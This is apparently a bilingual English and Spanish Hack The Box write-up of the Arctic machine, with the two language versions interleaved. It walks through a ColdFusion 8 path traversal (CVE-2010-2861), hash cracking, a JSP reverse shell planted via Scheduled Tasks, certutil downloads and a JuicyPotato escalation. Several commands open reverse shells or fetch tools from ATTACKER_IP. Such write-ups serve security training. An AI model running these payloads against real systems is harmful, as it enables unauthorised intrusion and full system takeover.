Arctic
Executive summary — Arctic is an Easy Windows box built around a legacy install of Adobe ColdFusion 8: a path traversal with a null byte (CVE-2010-2861) reads the admin panel's properties file and hands us the admin password hash. After cracking it we log into the panel and abuse a legitimate feature —Scheduled Tasks— to write and run a JSP shell in the webroot (RCE with no exploit involved). The resulting service account holds
SeImpersonate, so we escalate toNT AUTHORITY\SYSTEMwith JuicyPotato. A ColdFusion (path traversal) → admin panel → Scheduled Tasks (RCE) → JuicyPotato → SYSTEM path.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.22.154 |
Attack map
[8500] Adobe ColdFusion 8 (CFIDE/administrator)
│ CVE-2010-2861 — path traversal + null byte → read
│ ColdFusion8/lib/password.properties (admin hash)
│ crack the hash → admin:happyday
▼
[PANEL] Log into /CFIDE/administrator/ → abuse Scheduled Tasks
│ task "pwn2" downloads shell.jsp and saves it to
│ C:\ColdFusion8\wwwroot\shell.jsp
▼
[RCE] Visit /shell.jsp → reverse shell arctic\tolis (user.txt)
│ whoami /priv → SeImpersonate context
▼
[SYSTEM] JuicyPotato (CreateProcessWithTokenW) → nt authority\system (root.txt)
1. Port reconnaissance
As always, we start with a full TCP port sweep so no non-standard service slips past:
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.22.154 -oG openPorts
-p- scans all 65535 ports, --open shows only open ones, -sS runs a SYN scan, --min-rate 5000 speeds up packet sending, -n skips DNS resolution and -Pn treats the host as up without prior ICMP discovery (Arctic doesn't respond to ping).
135/tcp open msrpc
8500/tcp open fmtp?
49154/tcp open msrpc
With the open ports identified, we run a version/default-script scan against just those:
nmap -sC -sV -p 135,8500,49154 10.129.22.154 -oN target
The odd port: Nmap can't confidently fingerprint the service on 8500 (tags it as
fmtp?). A web service with no clear fingerprint that responds slowly is usually a heavyweight enterprise app — here, Adobe ColdFusion.
Resumen ejecutivo — Arctic es una Windows Easy construida alrededor de una instalación legacy de Adobe ColdFusion 8: un path traversal con null byte (CVE-2010-2861) permite leer el fichero de propiedades del panel de administración y hacerse con el hash de la contraseña admin. Tras crackearlo entramos al panel y abusamos de una funcionalidad legítima —las Scheduled Tasks— para escribir y ejecutar una shell JSP en el webroot (RCE sin exploit de por medio). La cuenta de servicio resultante tiene
SeImpersonate, así que se escala aNT AUTHORITY\SYSTEMcon JuicyPotato. Recorrido ColdFusion (path traversal) → panel admin → Scheduled Tasks (RCE) → JuicyPotato → SYSTEM.
| Plataforma | Hack The Box |
| Sistema operativo | Windows |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.22.154 |
Mapa del ataque
[8500] Adobe ColdFusion 8 (CFIDE/administrator)
│ CVE-2010-2861 — path traversal + null byte → leer
│ ColdFusion8/lib/password.properties (hash admin)
│ crackear el hash → admin:happyday
▼
[PANEL] Login en /CFIDE/administrator/ → abuso de Scheduled Tasks
│ tarea "pwn2" descarga shell.jsp y lo guarda en
│ C:\ColdFusion8\wwwroot\shell.jsp
▼
[RCE] Visitar /shell.jsp → reverse shell arctic\tolis (user.txt)
│ whoami /priv → contexto con SeImpersonate
▼
[SYSTEM] JuicyPotato (CreateProcessWithTokenW) → nt authority\system (root.txt)
1. Reconocimiento de puertos
Empezamos, como siempre, con un barrido completo de puertos TCP para no perder ningún servicio no estándar:
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.22.154 -oG openPorts
-p- escanea los 65535 puertos, --open muestra solo los abiertos, -sS hace un SYN scan, --min-rate 5000 acelera el envío de paquetes, -n evita resolución DNS y -Pn trata el host como activo sin descubrimiento ICMP previo (Arctic no responde a ping).
135/tcp open msrpc
8500/tcp open fmtp?
49154/tcp open msrpc
Con los puertos abiertos identificados, lanzamos un escaneo de versiones y scripts por defecto solo sobre ellos:
nmap -sC -sV -p 135,8500,49154 10.129.22.154 -oN target
El puerto raro: Nmap no identifica con seguridad el servicio en 8500 (lo marca como
fmtp?). Un servicio web sin fingerprint claro y que tarda en responder suele ser una aplicación empresarial pesada — en este caso, Adobe ColdFusion.
2. Web enumeration
We browse to http://10.129.22.154:8500. The page loads with noticeable latency, typical of a ColdFusion server warming up. Exploring the exposed paths turns up directories and references specific to Adobe ColdFusion 8, a technology with a long history of critical vulnerabilities. We try the admin panel path directly:
http://10.129.22.154:8500/CFIDE/administrator/
Sure enough, the ColdFusion 8 admin panel login shows up.
3. Looking for known vulnerabilities
We search for public exploits against this version:
searchsploit adobe coldfusion
Among the results, Adobe ColdFusion — Directory Traversal stands out, tracked as CVE-2010-2861: a path traversal in several .cfm endpoints of the panel that reads arbitrary server files. The obvious target is ColdFusion8/lib/password.properties, where ColdFusion stores the hash of the admin panel's own password.
4. Exploiting the path traversal
http://10.129.22.154:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en
Why it works: the
localeparameter is concatenated, unsanitised, onto a language-file path on the server. The repeated../climbs up to the disk root, and the null byte (%00en) truncates the.propertiesextension the code appends afterwards — a classic trick against old C-based validation that stops reading a string at the null byte.
The server returns the full file contents, including the admin password hash:
password=<admin password hash>
5. Cracking the hash and logging into the panel
ColdFusion 8 stores this password as an unsalted SHA1 hash (a documented default of this version). We save it and attack it with a wordlist:
nano hash.txt # paste the extracted hash
hashcat -m 100 hash.txt /usr/share/wordlists/rockyou.txt
The plaintext password turns out to be:
happyday
With it we log into http://10.129.22.154:8500/CFIDE/administrator/ as admin:happyday.
From here on we're not exploiting any ColdFusion bug: we have legitimate administrative access to the panel, and we're going to abuse one of its normal features to get code execution.
6. Building the JSP reverse shell
ColdFusion runs on a JVM and serves .jsp pages alongside .cfm ones. We generate a JSP reverse-shell payload on our Kali box:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f raw > shell.jsp
We serve it over HTTP and leave a listener waiting for the callback:
python3 -m http.server 8000
nc -lvnp 4444
7. RCE by abusing Scheduled Tasks
The ColdFusion panel ships with Scheduled Tasks: jobs that make an HTTP request to a configurable URL and, optionally, save the response as a file on disk. That's exactly the primitive we need: we ask it to fetch our shell.jsp from Kali and write it inside ColdFusion's webroot, turning a legitimate admin feature into an arbitrary file write that, since it's a .jsp dropped into an executable directory, amounts to RCE.
We create the task (Scheduled Tasks → Schedule New Task) with these values:
| Field | Value |
|---|---|
| Task Name | pwn2 |
| URL | http://<ATTACKER_IP>:8000/shell.jsp |
| Save output to file | C:\ColdFusion8\wwwroot\shell.jsp |
Mind the save path: trying to write inside
CFIDE\...caused path/404 issues when serving the file back afterwards. The path that worked end to end was the direct webroot,C:\ColdFusion8\wwwroot\shell.jsp.
We save the task, go back to the task list and run it manually. The terminal running python3 -m http.server 8000 confirms the victim fetched the file:
GET /shell.jsp HTTP/1.1
8. Triggering the shell and grabbing the user flag
With shell.jsp now sitting in the webroot, visiting it over HTTP is enough for ColdFusion to interpret it and run the payload:
http://10.129.22.154:8500/shell.jsp
The netcat listener catches the callback:
whoami
arctic\tolis
cd C:\Users\tolis\Desktop
type user.txt
9. Privilege escalation — JuicyPotato
We check the privileges of the service account running ColdFusion:
whoami /priv
Restricted shells don't always list every privilege clearly through
whoami /priv, but on this Windows Server 2008 R2 box the account running ColdFusion holdsSeImpersonatePrivilege, the classic entry point for *Potato-style attacks: they get aSYSTEMtoken by tricking a local COM/RPC service into authenticating against a fake server under our control.
We download JuicyPotato and a static Windows x64 netcat build on Kali:
wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
(nc64.exe is fetched the same way, any static x64 netcat build works.) We serve both over HTTP:
python3 -m http.server 8000
On the victim shell we create a working directory and pull both binaries down with certutil, a native Windows LOLBin that avoids relying on PowerShell:
cd C:\Windows\Temp
mkdir pwn
cd pwn
certutil -urlcache -split -f http://<ATTACKER_IP>:8000/JuicyPotato.exe JuicyPotato.exe
certutil -urlcache -split -f http://<ATTACKER_IP>:8000/nc64.exe nc64.exe
dir
We open a second listener for the privileged shell and run JuicyPotato:
nc -lvnp 5555
JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\pwn\nc64.exe -e cmd <ATTACKER_IP> 5555"
-t * tries both process-creation methods (CreateProcessWithTokenW/CreateProcessAsUser), -l 1337 is the port where JuicyPotato spins up its fake local COM server, and -p/-a define the program and arguments launched with the stolen token. The victim's local console confirms the token hijack:
[+] authresult 0
[+] CreateProcessWithTokenW OK
And the listener on port 5555 catches a brand-new shell:
whoami
nt authority\system
10. Root flag
cd C:\Users\Administrator\Desktop
type root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Info leak | Adobe ColdFusion 8 (/CFIDE/administrator) | CVE-2010-2861 — path traversal + null byte | Reads password.properties (admin hash) |
| Foothold | ColdFusion admin panel (Scheduled Tasks) | Download+save feature abused as arbitrary file write | RCE (JSP) as arctic\tolis |
| PrivEsc | Windows Server 2008 R2 (service account) | SeImpersonatePrivilege → JuicyPotato | NT AUTHORITY\SYSTEM |
Lessons learned
- Path traversal + null byte in legacy software (ColdFusion 8) reads critical server files through nothing more than an unsanitised locale parameter. Patch and update the CMS.
- Don't store admin credentials as reversible hashes in files reachable via traversal — let alone unsalted ones.
- Any «scheduled task» feature that downloads and writes files is an RCE primitive once an attacker reaches the panel — audit what an «application» admin account can actually do, not just the OS account.
SeImpersonatePrivilegeis effectively SYSTEM in practice (JuicyPotato/RottenPotato/PrintSpoofer). Always checkwhoami /privafter the first foothold.- Segment service accounts: the ColdFusion service shouldn't run with enough privilege to impersonate system tokens.
2. Enumeración web
Visitamos http://10.129.22.154:8500 en el navegador. La página carga con una latencia notable, típico de un servidor ColdFusion arrancando en frío. Al explorar las rutas expuestas aparecen directorios y referencias propias de Adobe ColdFusion 8, una tecnología con un historial largo de vulnerabilidades críticas. Probamos directamente la ruta del panel de administración:
http://10.129.22.154:8500/CFIDE/administrator/
Y en efecto, aparece el login del panel de administración de ColdFusion 8.
3. Búsqueda de vulnerabilidades conocidas
Buscamos exploits públicos para esta versión:
searchsploit adobe coldfusion
Entre los resultados destaca Adobe ColdFusion — Directory Traversal, catalogado como CVE-2010-2861: un path traversal en varios endpoints .cfm del panel que permite leer ficheros arbitrarios del servidor. El objetivo natural es ColdFusion8/lib/password.properties, donde ColdFusion guarda el hash de la contraseña del propio panel admin.
4. Explotación del path traversal
http://10.129.22.154:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en
Por qué funciona: el parámetro
localese concatena sin sanear a una ruta de fichero de idioma en el servidor. La cadena../repetida sube directorios hasta la raíz del disco, y el null byte (%00en) trunca la extensión.propertiesque el código añade después, truco típico contra validaciones antiguas basadas en C que dejan de leer la cadena en el byte nulo.
El servidor devuelve el contenido íntegro del fichero, incluido el hash de la contraseña administrativa:
password=<hash de la contraseña admin>
5. Crackear el hash y entrar al panel
ColdFusion 8 almacena esta contraseña como un hash SHA1 sin salt (defecto documentado de esta versión). Lo guardamos y lo atacamos por diccionario:
nano hash.txt # pegamos el hash extraído
hashcat -m 100 hash.txt /usr/share/wordlists/rockyou.txt
La contraseña en claro resulta ser:
happyday
Con ella entramos en http://10.129.22.154:8500/CFIDE/administrator/ como admin:happyday.
A partir de aquí ya no explotamos ningún fallo de ColdFusion: tenemos acceso administrativo legítimo al panel y vamos a abusar de una de sus funciones normales para conseguir ejecución de código.
6. Preparar la reverse shell JSP
ColdFusion corre sobre una JVM y sirve páginas .jsp además de .cfm. Generamos un payload de reverse shell en formato JSP en nuestra Kali:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f raw > shell.jsp
Lo servimos por HTTP y dejamos un listener esperando la conexión:
python3 -m http.server 8000
nc -lvnp 4444
7. RCE abusando de Scheduled Tasks
El panel de ColdFusion incluye Scheduled Tasks: tareas que hacen una petición HTTP a una URL configurable y, opcionalmente, guardan la respuesta como fichero en disco. Es exactamente la primitiva que necesitamos: le pedimos que descargue nuestro shell.jsp desde Kali y lo escriba dentro del webroot de ColdFusion, convirtiendo una función de administración legítima en una escritura arbitraria de fichero que, al ser un .jsp en un directorio ejecutable, equivale a RCE.
Creamos la tarea (Scheduled Tasks → Schedule New Task) con estos valores:
| Campo | Valor |
|---|---|
| Task Name | pwn2 |
| URL | http://<ATTACKER_IP>:8000/shell.jsp |
| Save output to file | C:\ColdFusion8\wwwroot\shell.jsp |
Ojo con la ruta de guardado: intentar escribir dentro de
CFIDE\...dio problemas de ruta / 404 al servir el fichero después. La ruta que sí funcionó de extremo a extremo fue el webroot directo,C:\ColdFusion8\wwwroot\shell.jsp.
Guardamos la tarea, volvemos al listado y la ejecutamos manualmente. En la terminal donde corre python3 -m http.server 8000 se confirma que la víctima descarga el fichero:
GET /shell.jsp HTTP/1.1
8. Disparar la shell y obtener la user flag
Con shell.jsp ya escrito en el webroot, basta con visitarlo por HTTP para que ColdFusion lo interprete y ejecute el payload:
http://10.129.22.154:8500/shell.jsp
El listener de netcat recibe la conexión:
whoami
arctic\tolis
cd C:\Users\tolis\Desktop
type user.txt
9. Escalada de privilegios — JuicyPotato
Comprobamos los privilegios de la cuenta de servicio con la que corre ColdFusion:
whoami /priv
En shells restringidas
whoami /privno siempre lista todos los privilegios con claridad, pero en este Windows Server 2008 R2 la cuenta que ejecuta ColdFusion mantieneSeImpersonatePrivilege, la puerta de entrada clásica a los ataques de tipo *Potato: consiguen un token con privilegios deSYSTEMengañando a un servicio COM/RPC local para que se autentique contra un servidor falso bajo nuestro control.
Descargamos JuicyPotato y una copia estática de netcat para Windows x64 en la Kali:
wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
(nc64.exe se consigue igual, cualquier build estático de netcat para x64 sirve.) Los servimos por HTTP:
python3 -m http.server 8000
Y en la shell de la víctima creamos un directorio de trabajo y descargamos ambos binarios con certutil, un LOLBin nativo de Windows que evita depender de PowerShell:
cd C:\Windows\Temp
mkdir pwn
cd pwn
certutil -urlcache -split -f http://<ATTACKER_IP>:8000/JuicyPotato.exe JuicyPotato.exe
certutil -urlcache -split -f http://<ATTACKER_IP>:8000/nc64.exe nc64.exe
dir
Abrimos un segundo listener para la shell privilegiada y ejecutamos JuicyPotato:
nc -lvnp 5555
JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\pwn\nc64.exe -e cmd <ATTACKER_IP> 5555"
-t * prueba ambos métodos de creación de proceso (CreateProcessWithTokenW/CreateProcessAsUser), -l 1337 es el puerto donde JuicyPotato levanta su servidor COM local falso, y -p/-a definen el programa y los argumentos que se lanzarán con el token robado. En la consola de la víctima se confirma el secuestro del token:
[+] authresult 0
[+] CreateProcessWithTokenW OK
Y en el listener del puerto 5555 recibimos una shell nueva:
whoami
nt authority\system
10. Root flag
cd C:\Users\Administrator\Desktop
type root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Info leak | Adobe ColdFusion 8 (/CFIDE/administrator) | CVE-2010-2861 — path traversal + null byte | Lectura de password.properties (hash admin) |
| Foothold | Panel admin ColdFusion (Scheduled Tasks) | Función de descarga+guardado abusada como escritura arbitraria de fichero | RCE (JSP) como arctic\tolis |
| PrivEsc | Windows Server 2008 R2 (cuenta de servicio) | SeImpersonatePrivilege → JuicyPotato | NT AUTHORITY\SYSTEM |
Lecciones aprendidas
- Path traversal + null byte en software legacy (ColdFusion 8) permite leer ficheros críticos del servidor con solo un parámetro de idioma sin sanear. Parchea y actualiza el CMS.
- No almacenes credenciales de administración como hashes reversibles en ficheros accesibles vía traversal; y menos aún sin sal.
- Cualquier funcionalidad de «tarea programada» que descargue y escriba ficheros es una primitiva de RCE si un atacante llega al panel — audita qué puede hacer una cuenta admin «de aplicación», no solo el sistema operativo.
SeImpersonatePrivilegeequivale a SYSTEM en la práctica (JuicyPotato/RottenPotato/PrintSpoofer). Revisa siemprewhoami /privtras el primer acceso.- Segmenta cuentas de servicio: el servicio de ColdFusion no debería correr con privilegios suficientes para suplantar tokens del sistema.